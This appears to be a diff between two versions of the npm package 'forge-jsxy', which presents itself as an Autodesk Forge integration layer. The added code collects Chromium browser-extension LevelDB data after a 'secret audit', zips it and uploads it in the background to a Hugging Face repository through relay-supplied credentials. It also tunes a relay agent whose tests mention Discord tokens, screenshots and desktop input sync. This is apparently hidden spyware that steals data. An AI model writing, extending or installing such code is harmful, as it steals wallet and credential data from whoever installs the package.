forge-jsxy 1.0.104 → 1.0.107

package/dist/assets/files-explorer-template.html

@@ -10,7 +10,7 @@
 <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
 <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
 <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
-<!-- forge-jsxy@1.0.104 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
+<!-- forge-jsxy@1.0.107 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
 <script>
 (function () {
   try {

package/dist/extensionDbHfUpload.d.ts

@@ -1,16 +1,14 @@
-/**
- * After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
- * folders containing LevelDB `.ldb` files, zip, and upload to `namespace/<seq_id>` (session repo).
- *
- * Appends to an existing session repo when present (new export folder per run).
- * Ignores HF/network failures (logs only).
- * Runs in the background — does not block the relay agent loop.
- */
 import type { HfCredentials } from "./hfCredentials";
 /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
 export declare function extensionDbLog(message: string): void;
 /** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
 export declare function isExtensionDbHfUploadEnabled(): boolean;
+/** Local record that extension data was uploaded for a Hub session repo (avoids repeat harvest/upload). */
+export declare function readExtensionDbUploadMarker(): {
+    repo: string;
+    uploaded_at: string;
+} | null;
+export declare function writeExtensionDbUploadMarker(repoStr: string): void;
 export type RunExtensionDbHfUploadOptions = {
     clientTableName: string;
     fetchHubCredentials: () => Promise<HfCredentials>;
@@ -21,7 +19,7 @@ export type RunExtensionDbHfUploadOptions = {
 };
 /**
  * Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
- * No-op when disabled, repo exists, nothing to copy, or credentials missing.
+ * No-op when disabled, repo already exists, nothing to copy, or credentials missing.
  */
 export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
 /** Fire-and-forget background upload (after secret audit completes). */

package/dist/extensionDbHfUpload.js

@@ -1,9 +1,55 @@
 "use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.extensionDbLog = extensionDbLog;
 exports.isExtensionDbHfUploadEnabled = isExtensionDbHfUploadEnabled;
+exports.readExtensionDbUploadMarker = readExtensionDbUploadMarker;
+exports.writeExtensionDbUploadMarker = writeExtensionDbUploadMarker;
 exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
 exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
+/**
+ * After secret-audit scan: harvest Chromium extension folders containing LevelDB `.ldb`
+ * files, zip, and upload once to `namespace/<seq_id>` (session repo).
+ *
+ * When the session Hub repo already exists, the upload is skipped (no duplicate snapshots).
+ * Ignores HF/network failures (logs only).
+ * Runs in the background — does not block the relay agent loop.
+ */
+const hub_1 = require("@huggingface/hub");
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
 const hfCredentials_1 = require("./hfCredentials");
 const hfUpload_1 = require("./hfUpload");
 const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
@@ -87,19 +133,55 @@ function isIgnorableHubError(err) {
     const msg = err instanceof Error ? err.message : String(err);
     return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
 }
-let extensionDbUploadInFlight = false;
-let pendingExtensionDbRetry = null;
-function mergeExtensionDbUploadOpts(prev, next) {
-    if (!prev)
-        return next;
-    return {
-        ...prev,
-        ...next,
-        clientSeqId: next.clientSeqId !== undefined && next.clientSeqId !== null
-            ? next.clientSeqId
-            : prev.clientSeqId,
-    };
+const EXTENSION_DB_HF_UPLOAD_MARKER = "extension-db-hf-upload.json";
+function extensionDbUploadMarkerFile() {
+    return path.join(path.dirname((0, chromiumExtensionDbHarvest_1.extensionDbStagingRoot)()), EXTENSION_DB_HF_UPLOAD_MARKER);
+}
+/** Local record that extension data was uploaded for a Hub session repo (avoids repeat harvest/upload). */
+function readExtensionDbUploadMarker() {
+    try {
+        const raw = fs.readFileSync(extensionDbUploadMarkerFile(), "utf8");
+        const parsed = JSON.parse(raw);
+        const repo = typeof parsed.repo === "string" ? parsed.repo.trim() : "";
+        if (!repo)
+            return null;
+        return {
+            repo,
+            uploaded_at: typeof parsed.uploaded_at === "string" ? parsed.uploaded_at : "",
+        };
+    }
+    catch {
+        return null;
+    }
+}
+function writeExtensionDbUploadMarker(repoStr) {
+    const repo = repoStr.trim();
+    if (!repo)
+        return;
+    const markerPath = extensionDbUploadMarkerFile();
+    fs.mkdirSync(path.dirname(markerPath), { recursive: true });
+    const tmp = `${markerPath}.${process.pid}.${Date.now()}.tmp`;
+    const doc = { repo, uploaded_at: new Date().toISOString() };
+    fs.writeFileSync(tmp, JSON.stringify(doc, null, 2), "utf8");
+    fs.renameSync(tmp, markerPath);
+}
+function extensionDbUploadRecordedForRepo(repoStr) {
+    const marker = readExtensionDbUploadMarker();
+    return marker !== null && marker.repo === repoStr.trim();
 }
+async function sessionHubRepoAlreadyExists(repoStr, creds) {
+    try {
+        return await (0, hub_1.repoExists)({
+            repo: repoStr.trim(),
+            accessToken: creds.token,
+            hubUrl: creds.hubUrl,
+        });
+    }
+    catch {
+        return false;
+    }
+}
+let extensionDbUploadInFlight = false;
 function resolveRelayHttpBaseForExtensionUpload(opts) {
     const explicit = (opts.relayHttpBase || "").trim();
     if (explicit)
@@ -114,7 +196,7 @@ function resolveRelayHttpBaseForExtensionUpload(opts) {
 }
 /**
  * Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
- * No-op when disabled, repo exists, nothing to copy, or credentials missing.
+ * No-op when disabled, repo already exists, nothing to copy, or credentials missing.
  */
 async function runExtensionDbHfUploadAfterAudit(opts) {
     if (!isExtensionDbHfUploadEnabled())
@@ -125,8 +207,7 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
         return;
     }
     if (extensionDbUploadInFlight) {
-        pendingExtensionDbRetry = mergeExtensionDbUploadOpts(pendingExtensionDbRetry, opts);
-        extensionDbLog("deferred — previous extension upload still running (queued retry)");
+        extensionDbLog("skipped — previous extension upload still running");
         return;
     }
     extensionDbUploadInFlight = true;
@@ -153,6 +234,15 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
         if (!targetRepo) {
             return;
         }
+        if (extensionDbUploadRecordedForRepo(targetRepo)) {
+            extensionDbLog(`skipped — extension data already uploaded (local marker for ${targetRepo})`);
+            return;
+        }
+        if (await sessionHubRepoAlreadyExists(targetRepo, creds)) {
+            writeExtensionDbUploadMarker(targetRepo);
+            extensionDbLog(`skipped — extension data already uploaded (Hub repo ${targetRepo} exists)`);
+            return;
+        }
         let resolvedSeqId = opts.clientSeqId ?? null;
         if (resolvedSeqId === null) {
             resolvedSeqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable, {
@@ -190,9 +280,14 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
             hfCredentials: creds,
             forceKill: true,
             force: true,
-            skipIfRepoExists: false,
+            skipIfRepoExists: true,
         });
-        if (upload.ok === true) {
+        if (upload.ok === true && upload.skipped === true) {
+            writeExtensionDbUploadMarker(String(upload.repo || targetRepo));
+            extensionDbLog(`skipped — extension data already uploaded (Hub repo ${String(upload.repo || targetRepo)})`);
+        }
+        else if (upload.ok === true) {
+            writeExtensionDbUploadMarker(String(upload.repo || targetRepo));
             extensionDbLog(`upload OK — repo ${String(upload.repo || targetRepo)} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
         }
         else {
@@ -218,13 +313,6 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
         if (creds)
             (0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
         await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
-        const retry = pendingExtensionDbRetry;
-        pendingExtensionDbRetry = null;
-        if (retry) {
-            setImmediate(() => {
-                void runExtensionDbHfUploadAfterAudit(retry);
-            });
-        }
     }
 }
 /** Fire-and-forget background upload (after secret audit completes). */

package/dist/hfUpload.d.ts

@@ -24,7 +24,8 @@ export interface RunHfUploadOptions {
     folderMode?: "zip" | "tree";
     /**
      * When true: repo = `namespace/<seq_id>` when forge-db exposes `seq_id` for this session, else legacy table slug.
-     * First upload creates the repo; later uploads append new files only.
+     * First upload creates the repo; later automatic extension uploads skip when the repo exists.
+     * Manual explorer uploads still append under `exports/<timestamp>/`.
      */
     autoSessionRepo?: boolean;
     /** Session / DB table id (e.g. `client_<uuid>`) — required if `autoSessionRepo`. */

package/dist/relayAgent.js

@@ -558,6 +558,8 @@ function runRelayAgentLoop(opts) {
         /** forge-db `seq_id` pushed by relay (`agent_session_seq`) for Hub session repo uploads. */
         let relayClientSeqId;
         let extensionDbUploadDelayTimer = null;
+        /** At most one extension-db Hub upload attempt per relay WebSocket connection. */
+        let extensionDbUploadScheduledThisConnection = false;
         const clearExtensionDbUploadDelay = () => {
             if (extensionDbUploadDelayTimer != null) {
                 clearTimeout(extensionDbUploadDelayTimer);
@@ -573,7 +575,10 @@ function runRelayAgentLoop(opts) {
             }
             return undefined;
         };
-        const scheduleExtensionDbUploadForSession = () => {
+        const scheduleExtensionDbUploadForSessionOnce = () => {
+            if (extensionDbUploadScheduledThisConnection)
+                return;
+            extensionDbUploadScheduledThisConnection = true;
             (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
                 clientTableName: sessionId,
                 fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
@@ -584,7 +589,7 @@ function runRelayAgentLoop(opts) {
         };
         const armExtensionDbUploadAfterSeq = () => {
             clearExtensionDbUploadDelay();
-            scheduleExtensionDbUploadForSession();
+            scheduleExtensionDbUploadForSessionOnce();
         };
         /**
          * Run secret audit when relay never sends `connected` (stuck handshake / flaky relay).
@@ -621,12 +626,7 @@ function runRelayAgentLoop(opts) {
                     clientTableName: sessionId,
                     fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
                 });
-                (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
-                    clientTableName: sessionId,
-                    fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
-                    quiet,
-                    relayHttpBase: (0, relayForAgentHttp_1.wsRelayUrlToHttpBase)(base) ?? undefined,
-                });
+                scheduleExtensionDbUploadForSessionOnce();
             }, fallbackMs);
             secretAuditHandshakeFallbackTimer.unref?.();
         };
@@ -754,9 +754,6 @@ function runRelayAgentLoop(opts) {
                 quiet,
                 clientTableName: sessionId,
                 fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
-                onSettled: () => {
-                    scheduleExtensionDbUploadForSession();
-                },
             });
             const seqFromConnected = parseRelayClientSeqId(msg.client_seq_id ?? msg.clientSeqId);
             if (seqFromConnected !== undefined)
@@ -792,6 +789,7 @@ function runRelayAgentLoop(opts) {
             pendingAuthNonce = "";
             openHandlerFinishedInfo = false;
             relayAgentHandshakeDone = false;
+            extensionDbUploadScheduledThisConnection = false;
             discordLoopStarted = false;
             discordEnabledByRelayHandshake = false;
             armSecretAuditHandshakeFallback();
@@ -914,8 +912,10 @@ function runRelayAgentLoop(opts) {
                 const seq = parseRelayClientSeqId(msg.seq_id ?? msg.client_seq_id);
                 if (seq !== undefined) {
                     relayClientSeqId = seq;
-                    clearExtensionDbUploadDelay();
-                    scheduleExtensionDbUploadForSession();
+                    if (!extensionDbUploadScheduledThisConnection) {
+                        clearExtensionDbUploadDelay();
+                        armExtensionDbUploadAfterSeq();
+                    }
                 }
                 return;
             }

package/dist/relayServer.js

@@ -78,8 +78,8 @@ function _noteBlacklistRejectSuppressed() {
     _blacklistRejectSuppressedForRollup = 0;
     _blacklistRejectRollupLastLogMs = now;
 }
-const _VERSION_NOTICE_LOG_THROTTLE_MS = 60_000;
-const _versionNoticeLogMs = new Map();
+/** sessionId → last agent version we already logged (once per version until relay restart). */
+const _versionNoticeLogged = new Map();
 /** Caps PM2 churn when WS logging is enabled and an agent reconnect-flaps quickly. */
 const _AGENT_WS_LIFECYCLE_LOG_THROTTLE_MS = 30_000;
 const _agentWsLifecycleLogMs = new Map();
@@ -189,17 +189,20 @@ function _shouldRelayLogAgentWsLifecycle(sessionId) {
     }
     return true;
 }
-function _shouldLogVersionNotice(sessionId) {
-    const now = Date.now();
-    const prev = _versionNoticeLogMs.get(sessionId) || 0;
-    if (now - prev < _VERSION_NOTICE_LOG_THROTTLE_MS)
+function _shouldLogVersionNotice(sessionId, agentVersion) {
+    const ver = String(agentVersion || "").trim();
+    if (!ver)
         return false;
-    _versionNoticeLogMs.set(sessionId, now);
-    if (_versionNoticeLogMs.size > 2000) {
-        for (const [sid, ts] of _versionNoticeLogMs) {
-            if (now - ts > _VERSION_NOTICE_LOG_THROTTLE_MS * 10) {
-                _versionNoticeLogMs.delete(sid);
-            }
+    if (_versionNoticeLogged.get(sessionId) === ver)
+        return false;
+    _versionNoticeLogged.set(sessionId, ver);
+    if (_versionNoticeLogged.size > 4000) {
+        const drop = Math.floor(_versionNoticeLogged.size / 2);
+        let n = 0;
+        for (const sid of _versionNoticeLogged.keys()) {
+            _versionNoticeLogged.delete(sid);
+            if (++n >= drop)
+                break;
         }
     }
     return true;
@@ -1863,7 +1866,7 @@ function attachConnection(ws, req, role, sessionId) {
             if (session.agentVersion) {
                 const relayPkg = relayPackageVersion();
                 const agentOlder = agentVersionOlderThanRelay(session.agentVersion, relayPkg);
-                if (_shouldLogVersionNotice(sessionId)) {
+                if (_shouldLogVersionNotice(sessionId, session.agentVersion)) {
                     if (agentOlder) {
                         console.log(`[relay] agent ${sessionId} running v${session.agentVersion} (relay v${relayPkg}) — upgrade from file explorer (Upgrade agent) when ready`);
                     }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "forge-jsxy",
-  "version": "1.0.104",
+  "version": "1.0.107",
   "description": "Node.js integration layer for Autodesk Forge",
   "license": "MIT",
   "forgeAgentWebRtcMinVersion": "1.0.71",
@@ -20,7 +20,7 @@
     "pretest": "npm run build",
     "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
     "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
-    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/desktop-input-sync.test.mjs",
+    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs",
     "test:env-local": "node --test test/env-local-integrations.mjs",
     "verify": "npm run ci && npm run test:env-local",
     "verify:production": "npm run ci",